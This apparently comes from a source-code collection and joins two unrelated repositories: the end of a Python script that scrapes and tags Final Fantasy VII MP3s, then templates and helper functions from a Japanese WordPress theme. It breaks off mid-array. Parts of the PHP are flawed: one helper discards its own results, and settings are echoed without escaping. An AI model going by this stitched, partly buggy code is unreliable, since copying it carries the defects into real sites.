enumerate(matches): if track > disk_lengths[0]: track = 1 disk += 1 disk_lengths.pop(0) filename = '{} {}.mp3'.format(str(abs_track + 1).zfill(2), songs[abs_track].replace('/', ':')) filepath = relative_path(filename) print('Downloading "{}"... '.format(songs[abs_track]), end='', flush=True) with open(relative_path(filename), 'wb') as f: mp3_url = 'http://www.ffmages.com' + match f.write(http.request('GET', mp3_url).data) subprocess.run([ 'mid3v2', '--song=' + songs[abs_track], '--artist=Square', '--album=Final Fantasy VII', '--TCOM', 'Nobuo Uematsu', '--year=1997', '--track={}/{}'.format(abs_track + 1, 85), '--TPOS', '{}/{}'.format(disk, 4), filepath], stdout=subprocess.DEVNULL) print('done.') track += 1 <file_sep>/README.md # music-scripts Various scripts I use for scraping music websites and managing my iTunes library. ## Fair warning Things will break. You will need to be a programmer to fix them. If you run these scripts on something other than a Mac, a *lot* of things could break.
e0b1ba846ee69061c711f32c2c7d1a41fc82a508
[ "Markdown", "Python", "Shell" ]
12
Python
raxod502/itunes-scripts
c6aba60826fac049416594c8d6e7fdb2c8811236
0390221e48052c4e74cac02b3d6d1633bf5dff06
refs/heads/master
<file_sep><ul> <li> <a href="#" data-target="mobile-sidenav" class="waves-effect sidenav-trigger footer_sp_menu_li" aria-label="ナビメニューボタン"> <i class="fas fa-list-ul"></i> </a> </li> <li> <a href="#modalSearch" class="waves-effect modal-trigger footer_sp_menu_li" aria-label="検索ボタン"> <i class="fas fa-search"></i> </a> </li> <li> <a href="#modalShare" class="waves-effect modal-trigger footer_sp_menu_li" aria-label="シェアボタン"> <i class="fas fa-share-alt"></i> </a> </li> <li> <a href="#" class="waves-effect footer_sp_menu_li" aria-label="トップへ戻るボタン"> <i class="fas fa-angle-up"></i> </a> </li> </ul> <div id="modalSearch" class="modal bottom-sheet"> <div class="modal-content"> <h4>Search</h4> <?php get_search_form(); ?> </div> <div class="modal-footer"> <a href="#!" class="modal-close waves-effect btn-flat">CLOSE</a> </div> </div> <div id="modalShare" class="modal bottom-sheet shareType2"> <div class="modal-content"> <h4>Share</h4> <?php get_template_part('parts/others/sharebutton'); ?> </div> <div class="modal-footer"> <a href="#!" class="modal-close waves-effect btn-flat">CLOSE</a> </div> </div> <file_sep><?php $onlyLogo = get_option('only_logo'); $logo = get_theme_mod('custom_logo'); $logoUrl = wp_get_attachment_url( $logo ); $credit = get_option('site_footer_credit') ? get_option('site_footer_credit') : false ; $goToTop = get_option('site_footer_gototop') ? get_option('site_footer_gototop') : false ; $shareBtn = get_option('site_footer_share') ? get_option('site_footer_share') : false ; $spfooter = get_option('site_footer_sp_menu') ? get_option('site_footer_sp_menu') : false ; $menuDesign = get_option('site_footer_sp_menu_design') ? get_option('site_footer_sp_menu_design') : 'value1' ; $li1icon = get_option('site_footer_sp_menu_li1_icon') ? get_option('site_footer_sp_menu_li1_icon') : '<i class="fas fa-bars"></i>' ; $li1text = get_option('site_footer_sp_menu_li1_ttl') ? get_option('site_footer_sp_menu_li1_ttl') : 'MENU' ; $li1uri = get_option('site_footer_sp_menu_li1_uri') ? get_option('site_footer_sp_menu_li1_uri') : '#'; $li2icon = get_option('site_footer_sp_menu_li2_icon') ? get_option('site_footer_sp_menu_li2_icon') : '<i class="fas fa-paper-plane"></i>' ; $li2text = get_option('site_footer_sp_menu_li2_ttl') ? get_option('site_footer_sp_menu_li2_ttl') : 'CONTACT' ; $li2uri = get_option('site_footer_sp_menu_li2_uri') ? get_option('site_footer_sp_menu_li2_uri') : '#'; $li3icon = get_option('site_footer_sp_menu_li3_icon') ? get_option('site_footer_sp_menu_li3_icon') : '<i class="fas fa-home"></i>' ; $li3text = get_option('site_footer_sp_menu_li3_ttl') ? get_option('site_footer_sp_menu_li3_ttl') : 'HOME' ; $li3uri = get_option('site_footer_sp_menu_li3_uri') ? get_option('site_footer_sp_menu_li3_uri') : '#'; $li4icon = get_option('site_footer_sp_menu_li4_icon') ? get_option('site_footer_sp_menu_li4_icon') : '<i class="fas fa-phone"></i>' ; $li4text = get_option('site_footer_sp_menu_li4_ttl') ? get_option('site_footer_sp_menu_li4_ttl') : 'TEL' ; $li4uri = get_option('site_footer_sp_menu_li4_uri') ? get_option('site_footer_sp_menu_li4_uri') : '#'; $li5icon = get_option('site_footer_sp_menu_li5_icon') ? get_option('site_footer_sp_menu_li5_icon') : '<i class="fas fa-question-circle"></i>' ; $li5text = get_option('site_footer_sp_menu_li5_ttl') ? get_option('site_footer_sp_menu_li5_ttl') : 'Q&A' ; $li5uri = get_option('site_footer_sp_menu_li5_uri') ? get_option('site_footer_sp_menu_li5_uri') : '#'; ?> <div class="footerArea"> <footer id="footer" class="footer page-footer"> <div class="footer_container"> <?php // フッターウィジェット if( is_active_sidebar('footer_left_widget')|| is_active_sidebar('footer_center_widget')|| is_active_sidebar('footer_right_widget')) : ?> <div class="footer_widgets_wrap"> <?php if(is_active_sidebar('footer_left_widget')):?> <div> <?php dynamic_sidebar('footer_left_widget'); ?> </div> <?php endif; ?> <?php if(is_active_sidebar('footer_center_widget')):?> <div> <?php dynamic_sidebar('footer_center_widget'); ?> </div> <?php endif; ?> <?php if(is_active_sidebar('footer_right_widget')):?> <div> <?php dynamic_sidebar('footer_right_widget'); ?> </div> <?php endif; ?> </div> <?php endif; //END フッターウィジェット ?> <a href="<?php echo home_url(); ?>" class="tohomelink" aria-label="サイト名"> <?php if(has_custom_logo()): ?> <img src="<?php echo $logoUrl ?>" alt="ロゴ" class="custom-logo fadeinimg lazyload"> <?php endif; ?> <?php if ($onlyLogo == false) { bloginfo('name'); } ?> </a> <?php // フッターメニュー wp_nav_menu(array( 'theme_location' => 'nav_footer', 'container' => 'nav', 'container_id' => 'nav_footer', 'container_class' => 'nav_footer', 'fallback_cb' => '', )); ?> </div> <div class="footer-copyright"> <div class="container"> <span>© <?php echo date('Y'); ?></span><span> <?php echo bloginfo('name'); ?></span> <?php if ($credit == false) : ?> <a class="right" href="https://withdiv.com/12hitoe" target="_blank" rel="noopener noreferrer"> 👘CreatedBy十二単 </a> <?php endif; ?> </div> </div> </footer> <?php // TOPへ戻るボタン ?> <?php if ($goToTop == true) : ?> <a href="#" class="btn-floating btn-large waves-effect gototop acc__color" aria-label="トップへ戻るボタン"> <i class="fas fa-angle-up"></i> </a> <?php endif; //END TOPへ戻るボタン ?> <?php // SHAREボタン ?> <?php if ($shareBtn == true) : ?> <div class="fixed-action-btn"> <a class="btn-floating btn-large sub__color" aria-label="シェアボタン"> <i class="fas fa-share-alt"></i> </a> <ul> <li> <a class="btn-floating footer_share_tw" href="http://twitter.com/intent/tweet?text=<?php echo urlencode(the_title("","",0)); ?>&amp;<?php echo urlencode(get_permalink()); ?>&amp;url=<?php echo urlencode(get_permalink()); ?>" target="_blank" rel="nofollow noopener noreferrer" title="Twitterで共有" aria-label="Twitterで共有"> <i class="fab fa-twitter"></i> </a> </li> <li> <a class="btn-floating footer_share_fb" href="https://www.facebook.com/sharer/sharer.php?u=<?php the_permalink() ?>&t=<?php the_title() ?>" target="blank" rel="nofollow noopener noreferrer" aria-label="Facebookで共有"> <i class="fab fa-facebook"></i> </a> </li> <li> <a class="btn-floating footer_share_hb" href="http://b.hatena.ne.jp/add?mode=confirm&amp;url=<?php echo urlencode(get_permalink()); ?>&amp;title=<?php echo urlencode(the_title("","",0)); ?>" target="_blank" rel="nofollow noopener noreferrer" data-hatena-bookmark-title="<?php the_permalink(); ?>" title="このエントリーをはてなブックマークに追加" aria-label="はてブで共有"> B! </a> </li> <li> <a class="btn-floating footer_share_ln" href="https://social-plugins.line.me/lineit/share?url=<?php echo urlencode(get_permalink()); ?>" target="_blank" rel="nofollow noopener noreferrer" title="Lineで共有" aria-label="LINEで共有"> <i class="fab fa-line"></i> </a> </li> </ul> </div> <?php endif; //END SHAREボタン ?> <?php // オリジナルSPフッターメニュー ?> <?php if ($spfooter == true && wp_is_mobile()) : ?> <div class="navbar-fixed"> <nav class="footer_sp_menu"> <?php if($menuDesign == 'value1') : //オリジナルフッターメニューデザイン1 ?> <?php get_template_part('parts/footer/footer_sp_menu1') ?> <?php endif; //END $menuDesign == value1 ?> <?php if($menuDesign == 'value2') : //オリジナルフッターメニューデザイン2 ?> <ul> <?php if ($li1icon != null) : ?> <li> <a href="<?php echo $li1uri ?>" class="waves-effect footer_sp_menu_li"> <?php echo $li1icon ?> <span><?php echo $li1text ?></span> </a> </li> <?php endif; ?> <?php if ($li2icon != null) : ?> <li> <a href="<?php echo $li2uri ?>" class="waves-effect footer_sp_menu_li"> <?php echo $li2icon ?> <span><?php echo $li2text ?></span> </a> </li> <?php endif; ?> <?php if ($li3icon != null) : ?> <li> <a href="<?php echo $li3uri ?>" class="waves-effect footer_sp_menu_li"> <?php echo $li3icon ?> <span><?php echo $li3text ?></span> </a> </li> <?php endif; ?> <?php if ($li4icon != null) : ?> <li> <a href="<?php echo $li4uri ?>" class="waves-effect footer_sp_menu_li"> <?php echo $li4icon ?> <span><?php echo $li4text ?></span> </a> </li> <?php endif; ?> <?php if ($li5icon != null) : ?> <li> <a href="<?php echo $li5uri ?>" class="waves-effect footer_sp_menu_li"> <?php echo $li5icon ?> <span><?php echo $li5text ?></span> </a> </li> <?php endif; ?> </ul> <?php endif; //END $menuDesign == value2 ?> </nav> </div> <?php endif; //END オリジナルSPフッターメニュー ?> </div> <?php get_template_part('parts/footer/link_js') ?> <?php wp_footer(); ?> </body> </html> <file_sep><?php $randNum = rand(); ?> <form method="get" action="<?php bloginfo('url'); ?>"> <div class="search_form_wrap"> <input id="s<?php echo $randNum ?>" name="s" type="text" required> <label for="s<?php echo $randNum ?>" class="input_placeholder">検索キーワードを入力</label> <button type="submit" aria-label="検索ボタン"><i class="fas fa-search"></i></button> </div> </form> <file_sep><?php // article > .tumbnail / .content // .thumbnail > time / img / .category $ttl = get_the_title(); $articleList = get_option('site_article_list_type') ? get_option('site_article_list_type') : 'value1' ; ?> <?php //materializeのcomponentカード以外は下のコード ?> <?php if ($articleList != 'value7' ) : ?> <article <?php switch ($articleList): case 'value1' : post_class('articleList1'); break ; // マテリアル case 'value2' : post_class('articleList2'); break ; // カクカク case 'value3' : post_class('articleList3'); break ; // 細長 case 'value4' : post_class('articleList4'); break ; // 画像だけ case 'value5' : post_class('articleList5'); break ; // 文字だけ case 'value6' : post_class('articleList6'); break ; // 画像と文字だけ endswitch; ?>> <a href="<?php the_permalink(); ?>"> <?php if($articleList != 'value5'): //デザイン5以外ではアイキャッチ出力 ?> <div class="thumbnail"><?php // アイキャッチ部分 ?> <?php // time ?> <?php if ($articleList == 'value1' || $articleList == 'value2' ) : ?> <time datetime="<?php echo get_the_date('Y-m-d'); ?>"> <span class="day"><?php echo get_the_date('d'); ?></span> <span class="month"><?php echo get_post_time('M'); ?></span> </time> <?php elseif ($articleList == 'value3') : ?> <time datetime="<?php echo get_the_date('Y-m-d'); ?>"> <i class="fas fa-calendar-alt"></i> <span><?php the_time(get_option('date_format')); ?></span> </time> <?php else : ?> <time datetime="<?php echo get_the_date('Y-m-d'); ?>"></time> <?php endif; //END time ?> <?php // img ?> <?php if (has_post_thumbnail()): ?> <?php echo convert_src_for_lazyload(get_the_post_thumbnail($post->ID, 'eyecatch', array('class' => 'activator fadeinimg lazyload'))); ?> <?php else: ?> <img data-src="<?php echo get_template_directory_uri(); ?>/images/default_thumbnail.png" alt="<?php echo $ttl ?>" width="520" height="300" class="fadeinimg lazyload"> <?php endif; ?> <?php // .category ?> <?php if (!is_category() && has_category()): ?> <?php if($articleList == 'value1' || $articleList == 'value2' || $articleList == 'value3') : //デザイン1~3でのみカテゴリ表示 ?> <div class="category<?php if($articleList == 'value3'){echo ' acc__color';} ?>"> <?php $post_cat = get_the_category(); echo $post_cat[0]->name; ?> </div> <?php endif; //END デザイン1~3でのみカテゴリ表示 ?> <?php endif; //END .category ?> </div><?php //END .thumbnail ?> <?php endif; ?> <?php if($articleList != 'value4') : //デザイン4以外では.content表示 ?> <div class="content"><?php // タイトル部分 ?> <p class="title"><?php the_title(); ?></p> <?php if($articleList == 'value5' || $articleList == 'value6') : ?> <div class="content_info"> <span> <?php $post_cat = get_the_category(); echo $post_cat[0]->name; ?> </span> <span>・</span> <span><?php the_time(get_option('date_format')); ?></span> </div> <?php endif; ?> </div> <?php endif; //END デザイン4以外では.content表示 ?> </a> </article> <?php elseif($articleList == 'value7') : //materializeデザインの記事リスト ?> <article class="articleList7 card"> <div class="card-image waves-effect waves-block thumbnail"> <?php if (has_post_thumbnail()): ?> <?php the_post_thumbnail('eyecatch', array( 'alt' => $ttl, 'class' => 'activator fadeinimg lazyload', 'width' => 520, 'height' => 300, )); ?> <?php else: ?> <img src="<?php echo get_template_directory_uri(); ?>/images/default_thumbnail.png" class="activator" alt="<?php echo $ttl ?>" width="520" height="300"> <?php endif; ?> </div> <div class="card-content"> <span class="card-title activator grey-text text-darken-4"> <?php the_title(); ?> <i class="fas fa-ellipsis-v"></i> </span> <p><a href="#">This is a link</a></p> </div> <div class="card-reveal"> <span class="card-title grey-text text-darken-4"> <?php the_title(); ?> <i class="fas fa-times"></i> </span> <p> <?php //記事のディスクリプション ?> </p> </div> </article> <?php endif; ?> <file_sep><?php $follow_ttl = get_option('site_article_author_sns_ttl') ? get_option('site_article_author_sns_ttl') : 'Follow Me:)'; $twitter = get_the_author_meta('twitter'); $facebook = get_the_author_meta('facebook'); $instagram = get_the_author_meta('instagram'); $youtube = get_the_author_meta('youtube'); $github = get_the_author_meta('github'); $codepen = get_the_author_meta('codepen'); ?> <?php if(!empty($twitter)||!empty($facebook)||!empty($youtube)||!empty($instagram)||!empty($github)||!empty($codepen)): ?> <div class="author_sns"> <p class="author_sns_ttl"><?php echo $follow_ttl ?></p> <?php if(!empty($twitter)) : ?> <a class="follow_button follow_button_tw circle" href="//twitter.com/<?php echo $twitter; ?>" target="_blank" title="Twitterをフォロー" rel="nofollow noreferrer noopener" aria-label="twitter"> <i class="fab fa-twitter"></i> </a> <?php endif; ?> <?php if(!empty($facebook)) : ?> <a class="follow_button follow_button_fb circle" href="//facebook.com/<?php echo $facebook; ?>" target="_blank" title="Facebookをフォロー" rel="nofollow noreferrer noopener" aria-label="facebook"> <i class="fab fa-facebook-f"></i> </a> <?php endif; ?> <?php if(!empty($instagram)) : ?> <a class="follow_button follow_button_is circle" href="//instagram.com/<?php echo $instagram; ?>" target="_blank" title="Instagramをフォロー" rel="nofollow noreferrer noopener" aria-label="instagram"> <i class="fab fa-instagram"></i> </a> <?php endif; ?> <?php if(!empty($youtube)) : ?> <a class="follow_button follow_button_yt circle" href="//youtube.com/channel/<?php echo $youtube; ?>" target="_blank" title="チャンネル登録" rel="nofollow noreferrer noopener" aria-label="youtube"> <i class="fab fa-youtube"></i> </a> <?php endif; ?> <?php if(!empty($github)) : ?> <a class="follow_button follow_button_gh circle" href="//github.com/<?php echo $github; ?>" target="_blank" title="Githubをフォロー" rel="nofollow noreferrer noopener" aria-label="github"> <i class="fab fa-github"></i> </a> <?php endif; ?> <?php if(!empty($codepen)) : ?> <a class="follow_button follow_button_cp circle" href="//codepen.io/<?php echo $codepen; ?>" target="_blank" title="Codepenをフォロー" rel="nofollow noreferrer noopener" aria-label="codepen"> <i class="fab fa-codepen"></i> </a> <?php endif; ?> </div> <?php endif; ?> <file_sep><?php $thumbnail_id = 0; if (has_post_thumbnail()){ $thumbnail_id = get_post_thumbnail_id(); } if ('attachment' === get_post_type() && wp_attachment_is_image()){ $thumbnail_id = get_the_ID(); } $image_size = 'minimum'; if (!headers_sent()){ header('X-WP-embed: true'); } ?> <!DOCTYPE html> <html <?php language_attributes(); ?> class="no-js"> <head> <title><?php echo wp_get_document_title(); ?></title> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <?php do_action('embed_head'); ?> </head> <body <?php body_class(); ?>> <?php if (have_posts()): while (have_posts()) : the_post(); ?> <a href="<?php the_permalink(); ?>" <?php post_class('wp-embed'); ?>> <div class="wp-embed-featured-image"> <?php echo wp_get_attachment_image($thumbnail_id, $image_size); ?> </div> <div class="wp-embed-heading"><?php the_title(); ?></div> </a> <?php endwhile; endif; do_action('embed_footer'); ?> <file_sep><?php /*************** テンプレート用関数 - ページネーション - タグ大きさ統一 - カテゴリやタグの()の削除 - ナビメニューにクラス付与 - パンくずリスト - 最初の見出し前に広告 - 目次の出力 - 関連記事 - 画像遅延読み込み - 画像拡大機能 - aタグにアイコン付与 - コンバーター登録 - 見出しのクラス出力 - SNSフォローボタン(この記事を書いた人) - 構造化データ - 通知欄 - 人気記事 - コメント欄コールバック - コメント欄関係 - 記事埋め込み ***************/ ///////////////////// // ページネーション ///////////////////// function m_pagination() { global $wp_query; if ( $wp_query->max_num_pages <= 1 ) return; $big = 999999999; $pages = paginate_links(array( 'base' => str_replace($big, '%#%', esc_url(get_pagenum_link($big))), 'format' => '?paged=%#%', 'current' => max(1, get_query_var('paged')), 'total' => $wp_query->max_num_pages, 'type' => 'array', 'prev_text' => '<i class="fas fa-angle-left"></i>', 'next_text' => '<i class="fas fa-angle-right"></i>', )); $pages = str_replace('<a', '<a aria-label="戻る/進むボタン"', $pages); if(is_array($pages)){ $paged = (get_query_var('paged') == 0) ? 1 : get_query_var('paged'); echo '<ul class="pagination">'; foreach ( $pages as $page ) { echo '<li class="waves-effect">'.$page.'</li>'; } echo '</ul>'; } return $classes; } ///////////////////// // タグの大きさ統一 ///////////////////// function tag_font_size($args){ $org_args = array( 'smallest' => 100, 'largest' => 100, 'unit' => '%', 'number' => 50, 'format' => 'list', 'separator' => "\n", 'orderby' => 'count', 'order' => 'DESC' ); $args = wp_parse_args($args, $org_args); return $args; } ///////////////////// // カテゴリ数の()削除 ///////////////////// function remove_post_count_parentheses($output) { $output = preg_replace('/<\/a>.*\((\d+)\)/','<span class="post-count">$1</span></a>',$output); return $output; } ///////////////////// // タグ数の()削除 ///////////////////// function wp_tag_cloud_custom_ex( $output ) { $output = preg_replace( '/\s*?style="[^"]+?"/i', '', $output); //スタイル削除 $output = str_replace( ' (', '', $output); // "("削除 $output = str_replace( ')', '', $output); // ")"削除 return $output; } ///////////////////// // ナビメニュー用関数 ///////////////////// // メニューに'.active'付与 // function active_nav_class($classes, $item){ // if(in_array('current-menu-item', $classes) ){ // $classes[] = 'active'; // } // return $classes; // } // // モバイルメニューに'.waves-effect'付与 // function sp_menu_classes($classes, $item, $args) { // if($args->theme_location == 'nav_header_sp') { // $classes[] = 'waves-effect'; // } // return $classes; // } ///////////////////// // パンくずリスト ///////////////////// if (!function_exists('custom_breadcrumb')){ function custom_breadcrumb(){ if (is_front_page()) return false; $wp_obj = get_queried_object(); $json_array = array(); $breadcrumb = get_option('site_decoration_bread') ? get_option('site_decoration_bread') : 'value1' ; $bc_class = type_class($breadcrumb, 'breadcrumb'); echo '<div class="breadcrumb '.$bc_class.'"><ul class="bread_lists">'.'<li class="bread_list bread_home">'.'<a href="'.esc_url(home_url()).'" class="bread_link" aria-label="パンくずリストリンク"><i class="fas fa-home"></i><span>ホーム</span></a>'.'</li>'; if (is_attachment()){ $post_title = apply_filters('the_title', $wp_obj->post_title); echo '<li class="bread_list"><span class="bread_activepage">'.esc_html($post_title).'</span></li>'; } elseif ( is_single() ) { $post_id = $wp_obj->ID; $post_type = $wp_obj->post_type; $post_title = apply_filters( 'the_title', $wp_obj->post_title ); if ($post_type !== 'post'){ $the_tax = ""; $tax_array = get_object_taxonomies($post_type, 'names'); foreach ($tax_array as $tax_name) { if ($tax_name != 'post_format'){ $the_tax = $tax_name; break; } } $post_type_link = esc_url( get_post_type_archive_link($post_type)); $post_type_label = esc_html( get_post_type_object($post_type )->label); echo '<li class="bread_list">'.'<a href="'. $post_type_link .'" class="bread_link">'.'<span>'. $post_type_label .'</span>'.'</a>'.'</li>'; $json_array[] = array( 'id' => $post_type_link, 'name' => $post_type_label ); } else { $the_tax = 'category'; } $terms = get_the_terms( $post_id, $the_tax ); if ( $terms !== false ) { $child_terms = array(); $parents_list = array(); foreach ( $terms as $term ) { if ( $term->parent !== 0 ) { $parents_list[] = $term->parent; } } foreach ( $terms as $term ) { if ( ! in_array( $term->term_id, $parents_list ) ) { $child_terms[] = $term; } } $term = $child_terms[0]; if ( $term->parent !== 0 ) { $parent_array = array_reverse( get_ancestors( $term->term_id, $the_tax ) ); foreach ( $parent_array as $parent_id ) { $parent_term = get_term( $parent_id, $the_tax ); $parent_link = esc_url( get_term_link( $parent_id, $the_tax ) ); $parent_name = esc_html( $parent_term->name ); echo '<li class="bread_list">'.'<a href="'. $parent_link .'" class="bread_link">'.'<span>'. $parent_name .'</span>'.'</a>'.'</li>'; $json_array[] = array( 'id' => $parent_link, 'name' => $parent_name ); } } $term_link = esc_url(get_term_link($term->term_id, $the_tax)); $term_name = esc_html($term->name); echo '<li class="bread_list">'.'<a href="'. $term_link .'" class="bread_link">'.'<span>'. $term_name .'</span>'.'</a>'.'</li>'; $json_array[] = array( 'id' => $term_link, 'name' => $term_name ); } echo '<li class="bread_list"><span class="bread_activepage">'. esc_html(strip_tags($post_title)) .'</span></li>'; } elseif (is_page() || is_home()){ $page_id = $wp_obj->ID; $page_title = apply_filters('the_title', $wp_obj->post_title); if ($wp_obj->post_parent !== 0){ $parent_array = array_reverse(get_post_ancestors($page_id)); foreach($parent_array as $parent_id){ $parent_link = esc_url(get_permalink($parent_id)); $parent_name = esc_html(get_the_title($parent_id)); echo '<li>'. '<a href="'. $parent_link .'" class="bread_link">'. '<span>'. $parent_name .'</span>'. '</a>'. '</li>'; $json_array[] = array( 'id' => $parent_link, 'name' => $parent_name ); } } echo '<li><span>'. esc_html(strip_tags($page_title)) .'</span></li>'; } elseif (is_post_type_archive()){ echo '<li><span>'. esc_html($wp_obj->label) .'</span></li>'; } elseif (is_date()){ $year = get_query_var('year'); $month = get_query_var('monthnum'); $day = get_query_var('day'); if ( $day !== 0 ) { echo '<li>'. '<a href="'. esc_url(get_year_link($year)) .'" class="bread_link"><span>'. esc_html($year) .'年</span></a>'. '</li>'. '<li>'. '<a href="'. esc_url(get_month_link($year, $month)) . '" class="bread_link"><span>'. esc_html($month) .'月</span></a>'. '</li>'. '<li>'. '<span>'. esc_html($day) .'日</span>'. '</li>'; } elseif ( $month !== 0 ) { echo '<li>'. '<a href="'. esc_url(get_year_link($year)) .'" class="bread_link"><span>'. esc_html($year) .'年</span></a>'. '</li>'. '<li>'. '<span>'. esc_html($month) .'月</span>'. '</li>'; } else { echo '<li><span>'. esc_html($year) .'年</span></li>'; } }elseif(is_author()) { echo '<li><span>'. esc_html($wp_obj->display_name) .' の執筆記事</span></li>'; }elseif(is_archive()) { $term_id = $wp_obj->term_id; $term_name = $wp_obj->name; $tax_name = $wp_obj->taxonomy; if ($wp_obj->parent !== 0){ $parent_array = array_reverse(get_ancestors($term_id, $tax_name)); foreach($parent_array as $parent_id){ $parent_term = get_term($parent_id, $tax_name ); $parent_link = esc_url(get_term_link($parent_id, $tax_name)); $parent_name = esc_html($parent_term->name ); echo '<li>'. '<a href="'. $parent_link .'" class="bread_link">'. '<span>'. $parent_name .'</span>'. '</a>'. '</li>'; $json_array[] = array( 'id' => $parent_link, 'name' => $parent_name ); } } echo '<li>'. '<span>'. esc_html($term_name) .'</span>'. '</li>'; } elseif (is_search()){ echo '<li><span>「'.esc_html(get_search_query()).'」で検索した結果</span></li>'; } elseif (is_404()){ echo '<li><span>お探しの記事は見つかりませんでした。</span></li>'; } else { echo '<li><span>'.esc_html(get_the_title()).'</span></li>'; } echo '</ul>'; if (!empty( $json_array)): $pos = 1; $json = ''; foreach ($json_array as $data) : $json .= '{ "@type": "ListItem", "position": '. $pos++ .', "item": { "@id": "'. $data['id'] .'", "name": "'. $data['name'] .'" } },'; endforeach; echo '<script type="application/ld+json">{ "@context": "http://schema.org", "@type": "BreadcrumbList", "itemListElement": ['. rtrim( $json, ',' ) .'] }</script>'; endif; echo '</div>'; //https://wemo.tech/356 } } ///////////////////// // 最初の目次前に広告 ///////////////////// function add_ad_before_h2($content){ global $post; if (is_single() && is_active_sidebar('ad_before_h2')){ if (!defined('H2S')) { define('H2S', '/<h2.*?>/i'); } preg_match_all(H2S, $content, $matches); ob_start(); dynamic_sidebar('ad_before_h2'); $ad = ob_get_contents(); ob_end_clean(); if ($matches) { if (isset($matches[0][0])) { $content = preg_replace(H2S, $ad.$matches[0][0], $content, 1); } } } return $content; } ///////////////////// // 目次 ///////////////////// function add_index_to_content($content){ $tocOff = get_option('site_article_toc'); $tocOnPage = get_option('site_article_toc_page'); if ($tocOff == false && is_single() || $tocOnPage == true && is_page()){ $toc_ttl = get_option('site_article_toc_ttl') ? get_option('site_article_toc_ttl') : 'CONTENT'; $toc_type = get_option('site_article_toc_design') ? get_option('site_article_toc_design') : 'value1'; switch ($toc_type) { case 'value1': $toc_wrap = '<div class="toc tocType1"><ul class="collapsible"><li><div class="collapsible-header toc_ttl">'. $toc_ttl. '<i class="fas fa-angle-down"></i></div><div class="collapsible-body toc_body"></div></li></ul></div>'; break; case 'value2': $toc_wrap = '<div class="toc tocType2"><div class="toc_ttl">'.$toc_ttl.'</div><div class="toc_body"></div></div>'; break; case 'value3': $toc_wrap = '<div class="toc tocType3"><div class="toc_ttl">'.$toc_ttl.'</div><div class="toc_body"></div></div>'; break; case 'value4': $toc_wrap = '<div class="toc tocType4"><div class="toc_ttl">'.$toc_ttl.'</div><div class="toc_body"></div></div>'; break; case 'value5': $toc_wrap = '<div class="toc tocType5"><div class="toc_ttl">'.$toc_ttl.'</div><div class="toc_body"></div></div>'; break; } $tag = '/<h2.*?>/i'; if (preg_match( $tag, $content, $tags)) { $content = preg_replace($tag, $toc_wrap.$tags[0], $content, 1); } return $content; }else{ return $content; } } ///////////////////// // 画像遅延読み込み ///////////////////// function add_lazyload_class($content){ $content = preg_replace('/(<img[^>]*)\s+class="([^"]*)"/', '$1 class="$2 fadeinimg lazyload"', $content); return $content; } function convert_src_for_lazyload($content){ $content = preg_replace('/(<img[^>]*)\s+src=/', '$1 data-src=', $content); return $content; } function use_lazyload($content){ add_lazyload_class($content); convert_src_for_lazyload($content); return $content; } ///////////////////// // 画像拡大機能 ///////////////////// function add_img_box_class($content){ $content = preg_replace('/(<img[^>]*)\s+class="([^"]*)"/', '$1 class="$2 materialboxed"', $content); return $content; } $imageBox = get_option('site_decoration_image_box'); if($imageBox == false){ add_filter('the_content', 'add_img_box_class'); } ///////////////////// // aタグにアイコン付与 ///////////////////// function add_a_tag_icon($content){ $content = preg_replace('/(<\/a>)/', '<i class="fas fa-external-link-alt link_icon"></i>$1', $content); return $content; } $aTagIcon = get_option('site_decoration_a_tag_icon'); if($aTagIcon == false){ add_filter('the_content', 'add_a_tag_icon'); } ///////////////////// // コンバーター登録 ///////////////////// function convert_box($content){ return $content; } ///////////////////// // 見出しのクラス出力 ///////////////////// function add_heading_class($content){ $h2class = get_option('site_decoration_h2_type') ? get_option('site_decoration_h2_type') : 'type1'; $h3class = get_option('site_decoration_h3_type') ? get_option('site_decoration_h3_type') : 'type2'; $h4class = get_option('site_decoration_h4_type') ? get_option('site_decoration_h4_type') : 'type3'; $h2replace = '<h2 class="h2'.$h2class.'"'; $h3replace = '<h3 class="h3'.$h3class.'"'; $h4replace = '<h4 class="h4'.$h4class.'"'; $content = str_replace(array('<h2','<h3','<h4'),array($h2replace,$h3replace,$h4replace),$content); return $content; } ///////////////////// // この記事を書いた人 ///////////////////// function author_profile_box($sns){ $sns['twitter'] = 'Twitter(https://twitter.com/ここの部分)'; $sns['facebook'] = 'Facebook(https://facebook.com/ここの部分)'; $sns['instagram'] = 'Instagram(https://instagram.com/ここの部分)'; $sns['youtube'] = 'Youtube(https://youtube.com/channel/ここの部分)'; $sns['github'] = 'Github(https://github.com/ここの部分)'; $sns['codepen'] = 'Codepen(https://codepen.io/ここの部分)'; return $sns; } ///////////////////// // 構造化データの挿入 ///////////////////// function ld_json(){ $thumbnail_id = get_post_thumbnail_id($post); $imageobject = wp_get_attachment_image_src($thumbnail_id, 'full'); $pub_name = get_option('site_nav_sp_sideauthor_name') ? get_option('site_nav_sp_sideauthor_name') : get_the_author() ; $pub_image = get_option('site_nav_sp_sideauthor_img') ? get_option('site_nav_sp_sideauthor_img') : get_avatar_url(get_the_author_meta('ID')); ?> <script type="application/ld+json"> { "@context": "http://schema.org", "@type": "BlogPosting", "mainEntityOfPage":{ "@type":"WebPage", "@id":"<?php the_permalink(); ?>" }, "headline":"<?php the_title(); ?>", "image": { "@type": "ImageObject", "url": "<?php if($imageobject != null){echo $imageobject[0]; }else{echo get_template_directory_uri().'/images/default_thumbnail.png';} ?>", "width": "<?php echo $imageobject[1]; ?>", "height": "<?php echo $imageobject[2]; ?>" }, "datePublished": "<?php echo get_date_from_gmt(get_post_time('c', true), 'c');?>", "dateModified": "<?php echo get_date_from_gmt(get_post_modified_time('c', true), 'c');?>", "author": { "@type": "Person", "name": "<?php the_author();?>" }, "publisher": { "@type": "Organization", "name": "<?php echo $pub_name; ?>", "logo": { "@type": "ImageObject", "url": "<?php echo $pub_image; ?>" } }, "description": "<?php echo get_the_excerpt(); ?>" } </script> <?php } ///////////////////// // 人気記事(PV計測) ///////////////////// function set_post_views($postID) { $count_key = 'post_views_count'; $count = get_post_meta($postID, $count_key, true); if($count==''){ $count = 0; delete_post_meta($postID, $count_key); add_post_meta($postID, $count_key, '0'); }else{ $count++; update_post_meta($postID, $count_key, $count); } } function is_bot() { $ua = $_SERVER['HTTP_USER_AGENT']; $bot = array( 'Googlebot', 'Yahoo! Slurp', 'Mediapartners-Google', 'msnbot', 'bingbot', 'MJ12bot', 'Ezooms', 'pirst; MSIE 8.0;', 'Google Web Preview', 'ia_archiver', 'Sogou web spider', 'Googlebot-Mobile', 'AhrefsBot', 'YandexBot', 